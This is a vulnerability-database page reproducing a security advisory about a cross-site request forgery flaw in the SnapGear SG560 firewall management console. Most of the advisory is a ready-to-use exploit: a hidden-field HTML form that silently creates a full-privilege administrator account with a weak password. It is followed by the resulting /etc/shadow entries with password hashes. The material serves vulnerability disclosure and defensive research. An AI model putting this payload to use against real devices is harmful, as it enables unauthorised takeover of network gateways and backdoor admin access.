Lucene search
K

Secure Computing SnapGear Management Console SG560 v3.1.5 CSRF Add Super User

🗓️ 04 Jun 2020 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 51 Views

SG560 v3.1.5 CSRF Add Super User vulnerability in Secure Computing SnapGear Management Console

Related
Code
<html><body><p>Secure Computing SnapGear Management Console SG560 v3.1.5 CSRF Add Super User


Vendor: Secure Computing Corp.
Product web page: http://www.securecomputing.com
Affected version: 3.1.5u1

Summary: The SG gateway appliance range provides Internet security and
privacy of communications for small and medium enterprises, and branch 
offices. It simply and securely connects your office to the Internet,
and with its robust stateful firewall, shields your computers from
external threats.

Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.

Tested on: fnord/1.9
           Apache 1.3.27 (Unix)
           Linux 2.4.31


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2020-5567
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2020-5567.php


14.05.2020

--


CSRF Add Super User:
--------------------


  </p>
<form action="http://10.0.2.2/cgi-bin/cgix/adminusers" method="POST">
<input name=".form" type="hidden" value="edit"/>
<input name=".page" type="hidden" value="adminusers_edit"/>
<input name="login" type="hidden" value="testingus"/>
<input name="fullname" type="hidden" value="ZSL"/>
<input name="password" type="hidden" value="123456"/>
<input name="confirm" type="hidden" value="123456"/>
<input name="acl.login" type="hidden" value="on"/>
<input name="acl.admin" type="hidden" value="on"/>
<input name="acl.diags" type="hidden" value="on"/>
<input name="acl.saverestore" type="hidden" value="on"/>
<input name="acl.setpassword" type="hidden" value="on"/>
<input name="finish" type="hidden" value="Finish"/>
<input name=".defaultname" type="hidden" value="finish"/>
<input type="submit" value="Idemo"/>
</form>
  


Result /etc/shadow:

root:$1$YC$T/M8HLRXxKKPVEO7SU.02/:0:0:Super User:/:/bin/sh
sshd:!!:100:65534::/home:/bin/false
clamav:!!:103:65534::/home:/bin/false
testingus:$1$Xy$bxdLgsRlXHoMjEcMKqVq/.:104:104:ZSL:/home:/bin/sh
</body></html>

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation